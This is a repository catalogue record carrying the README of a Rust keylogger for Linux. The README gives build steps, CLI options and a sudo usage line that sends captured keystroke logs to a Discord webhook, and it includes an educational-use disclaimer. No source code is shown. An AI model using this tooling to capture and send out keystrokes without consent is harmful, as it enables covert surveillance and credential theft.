{"id":26524980,"url":"https://github.com/lafayettegabe/keylogger-rs","last_synced_at":"2025-03-21T14:40:16.965Z","repository":{"id":282816872,"uuid":"949744356","full_name":"lafayettegabe/keylogger-rs","owner":"lafayettegabe","description":"🕵️ A simple cross-platform keylogger utility written in Rust featuring automated log rotation and remote logging capabilities","archived":false,"fork":false,"pushed_at":"2025-03-17T04:27:20.000Z","size":20,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-17T05:27:34.799Z","etag":null,"topics":["cybersecurity","cysec","discord","hacking","keylogger","rust"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/lafayettegabe.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-03-17T04:17:55.000Z","updated_at":"2025-03-17T04:34:47.000Z","dependencies_parsed_at":"2025-03-17T05:37:59.503Z","dependency_job_id":null,"html_url":"https://github.com/lafayettegabe/keylogger-rs","commit_stats":null,"previous_names":["lafayettegabe/keylogger-rs"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lafayettegabe%2Fkeylogger-rs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lafayettegabe%2Fkeylogger-rs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lafayettegabe%2Fkeylogger-rs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lafayettegabe%2Fkeylogger-rs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/lafayettegabe","download_url":"https://codeload.github.com/lafayettegabe/keylogger-rs/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244815877,"owners_count":20515005,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cybersecurity","cysec","discord","hacking","keylogger","rust"],"created_at":"2025-03-21T14:40:16.139Z","updated_at":"2025-03-21T14:40:16.937Z","avatar_url":"https://github.com/lafayettegabe.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"# keylogger-rs\n\n[![Rust](https://img.shields.io/badge/Rust-1.85+-orange.svg)](https://www.rust-lang.org/)\n[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)\n[![GitHub issues](https://img.shields.io/github/issues/lafayettegabe/keylogger-rs)](https://github.com/lafayettegabe/keylogger-rs/issues)\n[![GitHub stars](https://img.shields.io/github/stars/lafayettegabe/keylogger-rs)](https://github.com/lafayettegabe/keylogger-rs/stargazers)\n![Platform](\u003chttps://img.shields.io/badge/platform-Linux%20%7C%20Windows(planned)%20%7C%20macOS(planned)-lightgrey\u003e)\n\nA simple, cross-platform keylogger utility written in Rust with features for automated log rotation and remote logging.\n\n## Features\n\n- Keyboard event monitoring and logging on Linux (with more platforms planned)\n- Configurable log rotation with customizable intervals\n- Discord webhook integration for remote log delivery\n- Simple command-line interface\n- Clean logging format with detailed timestamps\n\n## Requirements\n\n- Rust 1.85.0 or newer\n- For Linux support:\n  - `libudev-dev` package (for evdev support)\n  - Root access (to read from input devices)\n\n## Installation\n\n```bash\n# Clone the repository\ngit clone https://github.com/lafayettegabe/keylogger-rs.git\ncd keylogger-rs\n\n# Build with default features (Linux and Discord support)\ncargo build --release\n\n# Build with specific features only\ncargo build --release --no-default-features --features linux\n```\n\n## Usage\n\n```bash\n# Basic usage\nsudo ./target/release/keylogger-rs -s linux -o logs -d 3600\n\n# With Discord webhook\nsudo ./target/release/keylogger-rs -s linux -o logs -d 3600 -w https://discord.com/api/webhooks/your-webhook-url\n```\n\n### Command-line options\n\n```\nUSAGE:\n    keylogger-rs [OPTIONS] --os \u003cOS\u003e\n\nOPTIONS:\n    -s, --os \u003cOS\u003e              Operating system (linux, windows, mac)\n    -o, --output \u003cDIRECTORY\u003e   Directory to save log files [default: logs]\n    -d, --duration \u003cSECONDS\u003e   Log rotation interval in seconds [default: 3600]\n    -w, --webhook \u003cURL\u003e        Discord webhook URL for sending logs\n    -h, --help                 Print help information\n    -V, --version              Print version information\n```\n\n### Environment Variables\n\nInstead of command-line arguments, you can use environment variables:\n\n- `KEYLOGGER_OUTPUT`: Directory to save log files\n- `KEYLOGGER_DURATION`: Log rotation interval in seconds\n- `KEYLOGGER_WEBHOOK`: Discord webhook URL\n\n## Project Structure\n\n```\nsrc\n├── config           # Command-line and configuration handling\n├── main.rs          # Application entry point\n├── os               # OS-specific implementations\n│   ├── linux        # Linux keyboard monitoring\n│   │   └── keyboard\n├── utils            # Utility modules\n    ├── errors       # Error handling\n    ├── log_manager  # Log rotation and management\n    └── writer       # File writing utilities\n```\n\n## Feature Flags\n\n- `linux`: Enables Linux keyboard monitoring support via evdev\n- `discord`: Enables Discord webhook integration via reqwest\n- Default features include both `linux` and `discord`\n\n## How It Works\n\n1. The program detects a keyboard device on the system\n2. Key press and release events are captured with timestamps\n3. Events are written to log files in the specified output directory\n4. Logs are rotated at the configured interval\n5. If a Discord webhook is configured, logs are sent there before deletion\n\n## Log Format\n\nEach log entry includes:\n\n- Precise timestamp with millisecond precision\n- Event type (Pressed/Released)\n- Key code\n\nExample:\n\n```\n[2025-03-17 14:22:31.123] Pressed: KEY_A\n[2025-03-17 14:22:31.245] Released: KEY_A\n```\n\n## Platform Support\n\n- ✅ Linux: Fully supported\n- 🔄 Windows: Planned\n- 🔄 macOS: Planned\n\n## Security Notice\n\n⚠️ **This software is intended for educational purposes and legitimate system monitoring only.** Always ensure you have explicit permission to monitor keyboard activity on any system. Unauthorized monitoring may violate local laws.\n\n## License\n\nThis project is licensed under the MIT License - see the LICENSE file for details.\n\n## Contributing\n\nContributions are welcome! Please feel free to submit a Pull Request.\n\n1. Fork the project\n2. Create your feature branch (`git checkout -b feature/amazing-feature`)\n3. Commit your changes (`git commit -m 'Add some amazing feature'`)\n4. Push to the branch (`git push origin feature/amazing-feature`)\n5. Open a Pull Request\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flafayettegabe%2Fkeylogger-rs","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Flafayettegabe%2Fkeylogger-rs","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flafayettegabe%2Fkeylogger-rs/lists"}